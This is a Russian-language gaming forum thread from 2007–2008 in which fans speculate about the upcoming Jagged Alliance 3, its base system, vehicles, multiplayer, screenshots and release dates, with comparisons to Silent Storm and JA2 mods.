Скорее всего урон опять будет детский, я надеялся что в джазе с этим будет лучше - но нет, там вобще стреляют из страйкбольных копий :o
Имхо самые реалестичные с этой точки зрения - Е5 и 7,62 - достаточно 1 пули, причем совсем необязательно в голову....

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 12.12.2007 в 21:18:26
2Ushwood: Да вроде в S^2 интеллект врагов итак был на уровне, тут главное не испортить.

ЗЫ Только кажись гранатами не бросались.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Dimitr на 13.12.2007 в 08:45:46
2bugmonster: а помему бросались... тока  с каких-то странных расстояний. чуть ли не в упор.

А вообще конечно гранатами хорошо в е5 кидаются.

Честно говоря, читаю все это и тоже какие-то нехорошие предчуствия меня терзают. Сдается мне, что стратегической части не будет толком, а будет походовка как  в SS с переделками перков и игровой механники. Это несмоененно будет играбельно (играл в сс не без удовольствия), но тут правильно заметили - стратегическая часть была довольно мощной частью джа2 и найденый там баланс между играбельностью и микроменеджментом просто гениален по сути своей

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 13.12.2007 в 09:41:10
ИМХО девы пошли не по тому пути - стали "ремонтировать" то что работает, вместо того что бы добавить новых фишек... если честно ни капли не удивлюсь если мерки не будут уметь перекатываться.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 13.12.2007 в 12:07:36
2Zmey:  
Quote:
сли честно ни капли не удивлюсь если мерки не будут уметь перекатываться.

Зато научатся ходить строем! ;D
По сути, все что говорят о миссиях разрабы это ведь тот же самый SS, как бы они не отнекивались и не играли словами.

Если честно, мне и идея базы в JA3 не нравиться. :shuffle: Что-то мне подсказывает, что будет страшный вещизм и клептомания. ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 14.12.2007 в 05:54:12
2Leo:  ;D ;D ;D Несомненно))) будут тащить на базу всякое барахло - банки, веревки, шарики.... а потом будут пытаться собрать из всего этого что нибудь полезное ::) :P

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Dimitr на 14.12.2007 в 06:57:14
2Zmey: не то что я против вашей мысли, но у меня вопрос, а вы в джа 2 играли без так сказать базы?

У меня обычно было острое желание иметь базу скажем в альме, куда в случае необходимости пополнить запасы боеприпасов и экипировки ударная группа возвращалась на вертолете. Полечиться опять же если надо тоже удобнее не в поле.

Я не против базы, но отсутствие обороны уже захваченных секторов приведет к серьезным изменениям игрового процесса и не в лучшую на мой взгляд сторону. Операции по сути станут исключительно наступательными или будет как в СС оборонительные миссии, что тоже несколько не то, так как сектор и условия, в которых надо обороняться, ты сам не выбираешь.


Заголовок: Re: Jagged Alliance 3
Прислано пользователем Дядя Боря на 14.12.2007 в 07:32:34
Из всего сказанного выливается у меня впечатление, что не Джага это будет, а просто - клон СС по мотивам джаги. Хорошая игра, да не та. :(
да и невозможно ИМХО на движке СС Джагу сделать - ограничения по свободе, накладываемые гигантскими объёмами 3Д графики и сохранёнок не дадут той свободы действий, что была.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 14.12.2007 в 09:07:53
2Dimitr: У меня была база в Драссене - туда все от Бобика приходило.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 14.12.2007 в 13:41:06
2Zmey:  
Quote:
будут тащить на базу всякое барахло - банки, веревки, шарики.... а потом будут пытаться собрать из всего этого что нибудь полезное : rolleyes : :P

Особенно забавно будет, если в JA3 нельзя будет ничего собирать из мусора! ;D
Только вот если мусора не будет, ту будет совсем не забавно. :(

2Dimitr:  
Quote:
Я не против базы, но отсутствие обороны уже захваченных секторов приведет к серьезным изменениям игрового процесса и не в лучшую на мой взгляд сторону.

Вот! База, это не плохо. Но одно дело, когда мы сами себе ее организовывали, да и враги могли ее отбить. Кто хотел, тот "базу" имел, а кто не хотел - играл без базы.

Я, как бы, не то что бы сам против, но вот именно к такому копированию из SS, отношусь отрицательно. Мне казалось, что не стоит делать эти игры настолько похожими. Можно было бы и пооригинальней как-нить выкрутиться. ИМХО.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ingris на 14.12.2007 в 21:05:36
А база предлагается фиксированная в каком-то секторе, а не где игроку угодно?
Эх, а мой любимый тип базы - передвижная, в виде машины, загруженной отрядом ремонтников-лекарей с запасом нужных вещей!  :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 14.12.2007 в 21:27:13
2Ingris:
Где игроку угодно никак не получится, потому что секторов нет как таковых. Только миссии.

Возможно база будет зависеть от выбранной стороны. ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zed на 14.12.2007 в 21:57:55
2Leo:
даю 90 из 100 что база будет как в СС в "неизвестном краю далеком", не захватываемая, безразмерная и бесполезная )

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 14.12.2007 в 22:02:11
2Zed:
Я бы поспорил, потому что люблю спорить. ::) Но вот тут я согласен!
Насчет бесполезности, это скорее только в первой части SS. Во второй уже придумали больше оправданий ее существованию. ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Artem13 на 21.12.2007 в 14:35:50
В сс вражины кидались гранатами. А в упор потому, что гранаты броски там реализованы не очень прямыми руками - далеко кинуть гранату класса выше легкой практически невозможно при точности хотя бы 40-50%...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Дядя Боря на 21.12.2007 в 16:38:28
2Artem13: всё там Новиком давно исправлено по броскам - в СС3 и "Серпе и Молоте" кидаемся мы (и в нас) ну очень хорошо и точно. Только специалистом надо быть - гренадёром. :) Раскачка в игре разветвлённая и обширная, снайпер не умеет кидать гранаты а гренадёр - снайперски стрелять, не как в Джаге - каждый хорош при раскачке, тут явно выраженные военные специализации - раскачка в их рамках.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Дядя Боря на 21.12.2007 в 16:43:27
2Leo:  
Quote:
скорее только в первой части SS. Во второй уже придумали больше оправданий ее существованию
Наоборот. В первой база нужна критически как пункт хранения, лечения и заправки убер-скафандров. Во второй - только для хранения и продажи оружия, что не принципиально - можно и любой сундучок приспособить, и несколько торговцев, как в "Серпе и Молоте" сделать. Лечить может и свой дохтур - как в Джа.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 26.12.2007 в 13:42:02
По поводу "базы" - можно ведь оценить и как "возврат к истокам" - первую Джагу вспомните ;).

Лично я не берусь оценивать, хорошо это или плохо, пока сам не пощупал... лично мне в JA база не мешала, и в JA2 ее отсутствие было практически первым, что я заметил... хотя привык быстро.

Поглядим, как эту базу реализуют и как мотивируют... а потом будем давать оценки...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 05.02.2008 в 22:42:12
Вот заметил только что на сайте Акеллы, в английском разделе ссылку на интервью с одим из разрабов JA3, датированное 20-м января.
Чем сайт Акеллы не люблю, так это тем, что он разный для разных языков. :( И новости и инфа там разные. ППЦ, короче.

Вот ссылка: http://www.spieleflut.de/artikel/1790/

Далее, по причине своей полнейшей ленивости процитирую свой же пост с АГ, что бы заново ничего не писать. :)

Quote:
Переводить все лениво, уж извините, вот что я от туда понял:
- В игре планируется мультиплеер на 16 игроков, где в подчинении каждого может быть до 6 мерков. (Эт че, почти сотня мерков на карте? :o Слабо верится). В мультиплеере все будут воевать со всеми, т. е. каждый сам за себя.
Для мультиплеера хотят сделать аукцион наемников и много других фичь, но сейчас не говорят, ибо рано и вообще только тестирование покажет, что надо, а что нет.

- Про демку сейчас даже заикаться не стоит. :)

- В игре будет 30 секторов, и каждый будет состоять из нескольких карт локаций. Всего же будет более 300 карт. Далее идет следующий опус: "Every map size is like a 2D JA3" :-/ Закрадывается подозрение, что господин Казаков имел ввиду, что карты будут размером с двухмерные карты из JA2, а не JA3. ::) Ну и традиционное о том, что карты будут гораздо больше, чем в ОСС. :)

- Техники в тактических боях не будет. Отказались, потому что в пошаговом режиме это смотрелось странно. Будет транспорт для "moving around a tactical map". :-/ Осмелюсь предположить, что имелась ввиду стратегическая карта, а не тактическая. ::) В них можно перевозить лут и использовать как огневые точки (стрелять из стационарки, видать).

- Про свободу сказал, что игровой мир полностью открыт и в нем будут квесты. И если хоть что-то помешает свободному перемещению игрока по миру, то только враг!


Вот так вот. ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 06.02.2008 в 06:37:19
Интересно в каком месте техника в пошаговке смотрелась странно??? В УФО почему то ничего странным не выглядело. Так что о настоящих причинах надо гадать.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 06.02.2008 в 13:25:38
2Zmey: В КДР/ВЗ кстати техника тож вполне гармонично ездила и стреляла в пошаговке. Настоящая причина: "кишка тонка и танки наши быстры". А если не хватает времени и квалификации для её реализации, то обычно разрабы придумывают отмазки типа "Смотрелось странно", "Нарушается балланс", "Уровни пришлось бы увеличить", "Это не вписывается в первоначальную концепцию", "Издатель был категорически против".  :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 06.02.2008 в 14:26:06
А она нужна там, техника эта? Не, танки жалко, конечно. Даже стационарные танки из JA2 были бы кстати. ::) Выходит противники - люди и только? Хм, не особо разнообразно...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 06.02.2008 в 17:28:12
Подвижная техника дала новый вкус игре. Да, те же танкетки из НО можно угроить без специального вооружения, но это сложно. И как только танкетка появляется в поле зрения, сразу становиться гораздо сложнее и интереснее. А усложнять игру внесением тон "мяса" и бронированием этого мяса - дурной тон, имхо.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MAn на 06.02.2008 в 17:34:34

Quote:
Да, те же танкетки из НО можно угроить без специального вооружения

Уже нельзя

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 06.02.2008 в 19:50:51
А гранаты? или гранаты уже тоже не катят? :o

Заголовок: Re: Jagged Alliance 3
Прислано пользователем nuclear на 06.02.2008 в 20:57:10
2MAn: А закидывание гранат "на крышу" танкетке уже тоже не канает? (имею ввиду целится не в саму танкетку, а переключится Tab-ом на уровень крыши, и забросить "на неё"). Я так ещё в оригинальной АВ танк с одного хода обычно грохал (правда не без S/L).

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 07.02.2008 в 00:13:26

Quote:
А она нужна там, техника эта?
- убрать из Metal Gear все шагающие танки и серия бы уже не имела бы такого названия. Техника в пошаговой игре, которая показывает современность или "светлое" будущее так же важна, как и микроменеджмент в экономической стратегии или уровни в РПГ. Bugmonster прав, не было бы в играх бышвего Mistland`a подвижной техники (и возможности на некотрых уровнях ее использовать), то игры были бы совсем провальными (так как от тех же Ja2 и X-Com они отличались простнькой технической части (зато сужет был ничего))... Но это я увлекся. Одной фразой: техника - наше все... ::)
[offtop]
Quote:
А закидывание гранат "на крышу" танкетке уже тоже не канает?
- надеюсь хоть эту-то возможность оставят - все же танкетки - чуть ли не бронерованные автомобили (то есть гранаты их брать-то должны). Вопрос не в тему, но может противотанковые (или противотанкеточные) винтовки введут?[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Дядя Боря на 07.02.2008 в 00:21:54

Quote:
может противотанковые (или противотанкеточные) винтовки введут?  
Дык есть в НО, и давно - 12,6мм.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 07.02.2008 в 01:55:24
[offtop]
Quote:
Дык есть в НО, и давно - 12,6мм.
- запамятовал. :P Это КСВК или что-то другое?[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 07.02.2008 в 06:26:00
А против танкеток кто-нибудь противопехотные мины использовал? ТНТ с дистанционкой против них неплохо действует:)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MAn на 07.02.2008 в 13:52:13
2G.E.M.: 2Zmey:
Дык, танкеток в НО уже нет :(
А кроме КСВК, есть БАррет, Корд, может еще что:confus:

Заголовок: Re: Jagged Alliance 3
Прислано пользователем desants на 07.02.2008 в 19:50:00
2Дядя Боря:  
Quote:
12,6мм
12,7 ?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 07.02.2008 в 20:12:16
2desants:  
Quote:
12,7 ?

только хотел спросить:)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Дядя Боря на 07.02.2008 в 20:23:59
2desants: 2Zmey: Флудеры, неужели не ясно, что опечатался :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 08.02.2008 в 06:04:00
2Дядя Боря: Новостей про Джа3 нет, так хоть пофлудить :P ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 08.02.2008 в 08:19:55
[offtop]
Quote:
Дык, танкеток в НО уже нет
- слов нет. Эмоций тоже. :P[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Дядя Боря на 08.02.2008 в 10:17:18
2G.E.M.: Да есть пока они, успокойся.  :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 08.02.2008 в 14:17:51
[offtop]
Quote:
успокойся
- спасибо, буду спокоен. :)[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MAn на 08.02.2008 в 16:21:17
2G.E.M.:
А что, испужалси?  :)
Танкетка снята с вооружения доблестной Арульканской Армии.
Дранькины генералы окончательно отказались от дорогостоящей, но уязвимой танкетки, в пользу более массового джипа, тем не менее, обладающего достаточной бронезащитой, маневренностью и мощью огня.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем desants на 08.02.2008 в 20:05:38

Quote:
в пользу более массового джипа, тем не менее, обладающего достаточной бронезащитой, маневренностью и мощью огня.
Отделение краснорубашечников обладает еще более развитыми качествами, кроме, пожалуй, бронезащиты :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 09.02.2008 в 05:55:50
2desants: И отстреливается на ура одним снайпером:), да и не снайпером тоже

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 09.02.2008 в 13:56:03
:( Всю тему зафлудили. :cry:

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 09.02.2008 в 14:32:18
2Leo: Привыкай, тут всегда так ;D ::) :P

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Satan`s Claws на 09.02.2008 в 16:16:37
И куда смотрит модератор (с)

Профлудились, да успокоились... ;)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 09.02.2008 в 16:33:52
[offtop]СЛУШАЮСЬ ГОСПОДИН КАРДИНАЛ!!! УРА!УРА!УРА![/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 16.02.2008 в 13:51:11
На офф. сайте Акеллы висит дата выхода 3 квартал 2008 года...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 16.02.2008 в 15:11:22

Quote:
3 квартал 2008 года...
- то есть конец лета. ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 16.02.2008 в 17:16:01
2G.E.M.: Скорее начало осени:)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 28.03.2008 в 00:35:34
Информации по игре до обидного мало и обсуждать практически нечего. :(
Приведу ссылку на октябрьское буржуйское интервью с Андреем Казаковым, из которого можно подчеркнуть немного информации и посмотреть на относительно свежие скриншоты. ;)
Jagged Alliance 3 Interview (http://rpgvault.ign.com/articles/827/827659p1.html)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 28.03.2008 в 06:00:28
The game is mostly aimed at existing fans of the series, but I think it will also interest the more casual players because, after consultation with the publishers, we've made sure that it doesn't contain some of the more fiddly micro-management features we've seen before.
ЧТо то подсказывает мне, что это будет очередная "поделка на тему" для казуалов. Даешь микроменеджмент!!!

Заголовок: Re: Jagged Alliance 3
Прислано пользователем pipetz на 28.03.2008 в 09:13:40

Quote:
ЧТо то подсказывает мне, что это будет очередная "поделка на тему" для казуалов. Даешь микроменеджмент!!!  

Идиоты. Что ещё скажешь. Одна надежда остаётся - на новые моды.
Только сначала надо все старые пройти.  :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 29.03.2008 в 00:42:18
Почему меня не покидают мысли, что проблемы с микроменеджментом можно было встретить только на глобальной карте и те можно было бы решить переработкой интерфейса? ::)

Не по теми методами игру делают доступней. :(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Airbus на 31.03.2008 в 16:55:38
Возникло ощущение, что игра выйдет не "Q4 2007", и не "3 квартал 2008 года", а где-то в Q2 2009. :o
Кто нибудь с ними контактирует? Пусть баговую версию выкладывают (как Е5 1.01). И патчуют. Или местные доделают... имхо.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 20.04.2008 в 20:40:20
Кто-нибудь имел счастье видеть демонстрацию Jagged Alliance 3 на КРИ 2008? ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 20.04.2008 в 22:26:30
2Docent:
Всем стрёмно...  ;D

Самая полная информация об игре на официальном сайте разработчика - http://www.f3games.com/
;D ;D ;D

Побегал мельком в поисках диалога разработчиков с игроками...
Тут тема собсно есть, но разрабов нет.
На АГ - см. выше
На сайте издателя Акеллы тем про Ja3 нет.
На камраде тоже нет.

Собственно, встает вопрос... они сами с собой разговаривают и игру для себя делают?  ???

Цитата с АГ
[offtop]Был на последнем Игромире. Естественно JA3 интересовал чуть ли е больше всего. И что вы думаете!? Два жалких компьютера на которых была запущена крошечная локация без какого либо геймплея! Ни о какой глобальной карте речи даже не шло... Ни толковой рекламмы игры, полное отсутствие любого подобия пиара, я уж и не говорю об том, что игра, в теории, должна была бы быть достойна отдельного стенда. Полное впечатление, что делается не топ-игра "AAA класса", а крошенчый нишевый проектик с куцым бюджетиком!? За тем "техно-куском", который был на этих компах вовсе нечего было делать. Вовсе! Решил поинтересоваться у находящихся там, как оказалось "для галочки", представителей издателя об игре. Ни один сотрудник не знал об игре абсолютно ничего! А на мой недоумённый вопрос, для чего же вы здесь сидите, мне дали честный ответ - цитирую дословно:"А хрен знает... начальство приказало, мы и сидим."

http://forums.ag.ru/?board=fl_ja&action=display&s=0&num=1158070005&start=975[/offtop]

В общем, делайте выводы сами...

P.S. Информация о разработчике
[offtop]Компания основана в начале 2006 года, людьми, участвовавшими в наиболее известных проектах отечественной игровой индустрии, в компаниях Nival Interactive, Akella, G5 Software, Орион и некоторых других. Большая часть команды (до 90% состава) хорошо знакома отечественным геймерам по таким проектам компании G5 Software, как "Карибский Кризис", "Карибский кризис: Ледниковый поход" и "Метро-2". В настоящее время компания ведет разработку "Jagged Alliance 3", "Место встречи изменить нельзя" на знаменитом движке Silent Storm® компании "Nival Interactive", а так же ряда неанонсированных проектов.[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем keper на 21.04.2008 в 09:55:29
2Macbeth: http://www.f3games.com/- мегабайты текстов и скринов :)
В интервью пишут что увеличили размер карт, интересно насколько..

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 21.04.2008 в 10:11:25

Quote:
Кто-нибудь имел счастье видеть демонстрацию Jagged Alliance 3 на КРИ 2008?  


Не показывали ее в открытую. Ни ее, ни Дисайплс_3.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Strax5 на 27.05.2008 в 16:13:36
Такие скрины уже были?

http://ja.gamigo.de/newsimg/ja3-jan-08-2.jpg

У дойчиков они еще январём датированы.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 28.05.2008 в 06:53:42
2Strax5: Смешно. У меня по ссылке крутит флеш-рекламу на немецком языке, на всю страничку, разную и непрерывно! У меня чё, гранаты не той системы? ???

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Strax5 на 28.05.2008 в 09:06:15
2bugmonster: Ну да, ну да.
Там внизу ссылочка должна быть (на немецком) пропустить рекламу и перейти на сайт. Там выбрать пункт General -> latest news

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 28.05.2008 в 09:57:59
2Strax5: Да я сразу догадался что это ссылка для пропуска рекламы, только вот она у меня не работает :crazy:

Заголовок: Re: Jagged Alliance 3
Прислано пользователем jarni на 28.05.2008 в 10:01:48
2Strax5: Неплохой скрин. В принципе реализация моей мечты иметь ДЖА2 на движке СайленСторма, чтоб разрушать можно было все и простреливать все. Хотя обрезание низа букв выглядит как минимум неэстетично. Да и физика разрушения все таки еще хромает, висящие в воздухе кирпичи, как то не прикольно, думаю движок можно было бы и модернизировать за это время.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 28.05.2008 в 11:22:10
2jarni:  
Quote:
висящие в воздухе кирпичи, как то не прикольно

Как только кирпич получит свой ход, он обязательно потратит АР, что бы упасть. ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Strax5 на 28.05.2008 в 11:23:41
2bugmonster: special for you.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 28.05.2008 в 11:40:37
2Strax5: Сенькс. То есть, данке  :)
Скрин неплох, только бы антиалиасингу добавить, против зубчатостей.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Airbus на 28.05.2008 в 12:16:27

Quote:
Как только кирпич получит свой ход, он обязательно потратит АР, что бы упасть.
Но АР после ранения на полет до земли не хватает. ;D

Дак что, джа 3 будет?? А когда??

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Strax5 на 29.05.2008 в 12:16:27
2Airbus:  Написано 4 квартал этого года.

Перетаскиваю сюда скрины.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Strax5 на 29.05.2008 в 12:17:06
На балконе.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Morgenstern на 29.05.2008 в 12:28:56
Ммм...Тут в теме были, кажется, сообщения о том, что противники тоже могут нанимать товарищей из A.I.M. Вот интересно, как будет реализовано взаимодействие мерков, сражающихся на разных сторонах. Будут ли они реагировать особыми фразами ("Это Гас. Гм, надо его замочить."  ;)) или просто воспринимать как обычных солдат? Может, кто-то не захочет стрелять в старых друзей (например, Айс в Мага)? А кто-то наоборот с удовольствием накинется...
Еще смущает то, что ряды наемников, судя по всему, не пополняются. Т.е. теоретически, можно отстрелять большую часть AIMа и столкнутся с нехваткой нужных кадров.

2Strax5: Уф! Рожи получше стали...Зато приобрели какой-то едва уловимый русский колорит)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MAn на 29.05.2008 в 12:45:55
2Morgenstern:

Quote:
ще смущает то, что ряды наемников, судя по всему, не пополняются. Т.е. теоретически, можно отстрелять большую часть AIMа и столкнутся с нехваткой нужных кадров.
     


Это вряд ли

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Strax5 на 29.05.2008 в 12:54:55
2Morgenstern: 2MAn: Ну это как посмотреть.
При желании друзей по AIM можно еще в Nigth Ops перебить. Кстати, насколько я знаю очень не многие вибирают эту опцию при установке. - Жалко.
Учесть бы это разработчикам.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 29.05.2008 в 13:08:21
Чесно говоря, хотелось бы увидеть кроме спецов из АИМ еще одну фичу: автогенерацию персонажей по типу УФО. Только вот генерироваться должны персонажи уровня Шенка как минимум и уровня МЕРК как максимум.
Тогда проблемы с наемниками не будет... точнее с пушечным мясом.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MAn на 29.05.2008 в 13:18:41
2Strax5:

Quote:
При желании друзей по AIM можно еще в Nigth Ops перебить. Кстати, насколько я знаю очень не многие вибирают эту опцию при установке. - Жалко.

Юра, эта штука к сожалению малоинтересная. На один раз. Или если ты очень невзлюбил АИМ :-)  Всё, что она даёт - это картинка, вроде такой:

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Strax5 на 29.05.2008 в 13:22:00
Прикольнее было Две конкурирущие организации AIM vs. MERC.

А насчёт портретов. Ну чё сказать, если фейсмоделерам тупо доверять, то все рожи друг на друга будут похоже. JA2 их ручной прорисовкой портрета этот показатель на два порядка выше.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 29.05.2008 в 13:40:45
2Morgenstern:

Quote:
2Strax5: Уф! Рожи получше стали...Зато приобрели какой-то едва уловимый русский колорит)

Это колорит лицевой технологии, которую используют в движке Сайлент Сторма. Технология не помню как называется, но она, кажись, совсем не русская. Что-то вроде топорных 3D-фотороботов, что мы и наблюдаем на картинке. Хотя есть плюс  - есть теоретическая возможность генерить случайных наёмников как описывает  Zmey.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем pipetz на 29.05.2008 в 14:06:15

Quote:
Уф! Рожи получше стали...Зато приобрели какой-то едва уловимый русский колорит)  

По мне так у всех у них на скрине рожи одинаковые, только волосы разные.  :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Morgenstern на 29.05.2008 в 14:56:50
2MAn: Мрак какой... Фишка для садистов.

2bugmonster: Ну, это было мое имхо.  ;)
2pipetz: Есть такое дело... Но все же лучше, чем жуткий гоблин с подписью "Shadow" на предыдущих скринах.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем kavlad на 31.05.2008 в 14:46:45

Quote:
Уф! Рожи получше стали...Зато приобрели какой-то едва уловимый русский колорит)


Ага. ПропитЫе какие-то :)
Напоминают советских злодеев из американских боевиков.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Legend на 01.06.2008 в 16:02:50
А можно вкратце для тех, кто не следит за этой веткой (думал это клон Жа3Д ;D) - кто разрабатывает Джа3? Когда будет ориентировочно и какая там история будет?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 01.06.2008 в 19:34:30
2Legend:
Разрабатывает F3 Games. Кто такие - бес понятия. Сайт был пустой до недавнего времени, но вот теперь там пишут, что скоро открытие: http://f3games.com/
Неужели свершилось? ::)

Инфа на DTF: http://www.dtf.ru/company/info.php?id=532

Особенно радует фраза: Большая часть нашего дружного коллектива хорошо знакома отечественным геймерам по таким проектам компании G5 Software, как "Карибский Кризис", "Карибский кризис: Ледниковый поход" и "Метро-2".

Ну, блин, мегаигры!


Quote:
Когда будет ориентировочно и какая там история будет?

Ориентировочно будет осенью этого года. История простая, все воюют а мы воюем за кого-нить из всех.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 02.06.2008 в 09:48:58

Quote:
Ну, блин, мегаигры!  
- ну "Карибский кризис" еще ничего, а вот "Метро-2", говорят, не получилась.

Quote:
Ориентировочно будет осенью этого года. История простая, все воюют а мы воюем за кого-нить из всех.  
- и все? Даже какого-нибудь простенького сюжета неизвестно?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 02.06.2008 в 11:13:07
Ну и в Джаге сюжет, собственно, незамысловатый. И линейный. Свобода только в перемещении.

Просто новая SS. Тоже не самый худший вариант. Достойна ли она называться Джагой 3 ? Я лично сомневаюсь.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 02.06.2008 в 13:13:42
2G.E.M.:  
Quote:
и все? Даже какого-нибудь простенького сюжета неизвестно?  

Инфы мало, да и незапоминается она что-то. :)
Не знаю какой сюжет. Знаю, что будет несколько воюющих группировок и игрок сможет на них работать. Ну и одна группировка неигровая, мегасекретная! Ходють слухи, что это алиены какие-нить. ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Legend на 02.06.2008 в 13:24:01
2Leo: хе, в ja2 были рептионы, в ja3 алиены :lol: в ja4 наверно будем играть во вселенной star wars ;D там даже фрагов болше чем надо :D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Morgenstern на 02.06.2008 в 13:29:16

Quote:
v ja4 naverno budem igrat vo vselennoy star wars


Нельзя так людей смешить...."Темную сторону силы не используй ты, Деревяшкин..." ;D ;D ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 02.06.2008 в 13:40:22
[offtop]
Quote:
Ну и одна группировка неигровая, мегасекретная!
- и на нее не надо работать. Ее надо кормить... (Тут звук должен быть звук типа стрекота насекомых - я его описать не могу). ::)

Quote:
v ja4 naverno budem igrat vo vselennoy star wars
- не факт... Хотя... Найдите десять отличий между королевой жуков, маткой чужих и Джабой Хатом (жирные, глупые и плохо пахнут). :)[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Legend на 02.06.2008 в 16:38:17
2G.E.M.: Ну, хатты не такие и глупые ::) Вообще смотря с кем сравнивать ;D
2Morgenstern: А я бы сразу на тёмную сторону перешёл бы :D Надоело уже хорошистом быть, понимаете ли ::) Ликвидировать плохих парней с дьяволской кровожадной ухмылкой.. муахахахааа!! :devil: ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 02.06.2008 в 17:33:16
2Legend: Подлый имперец!

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Legend на 02.06.2008 в 17:41:53
2Zmey: Не, я не имперец (хотя Император тоже в чём-то был прав), всего лишь злобный джЫдай ::) 8)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MAn на 02.06.2008 в 17:59:16
ДжАдай

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Legend на 02.06.2008 в 18:24:27
[]2[=][/]:[/]   ::)
: ,     : ;

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Legend на 02.06.2008 в 18:28:15
2MAn: ili tak ::)
PS: tranlit ne rabotaet na moem telefone, on zhe ne russky, s kodirovkami problemy :(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ximik на 02.06.2008 в 20:01:21
[offtop]2Legend: ага, теперь Зед будет постоянно твой флуд твои сообщения переводить  ;D  [/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Legend на 02.06.2008 в 21:13:03
2Ximik: [offtop]Ага, нехай прохлаждаться :D ;D[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 03.06.2008 в 13:07:43
2G.E.M.:

Quote:
Даже какого-нибудь простенького сюжета неизвестно?

Основы сюжета Jagged Alliance 3 известны ещё с первого превью в журнале "Навигатор Игрового Мира" (декабрь 2006) :)

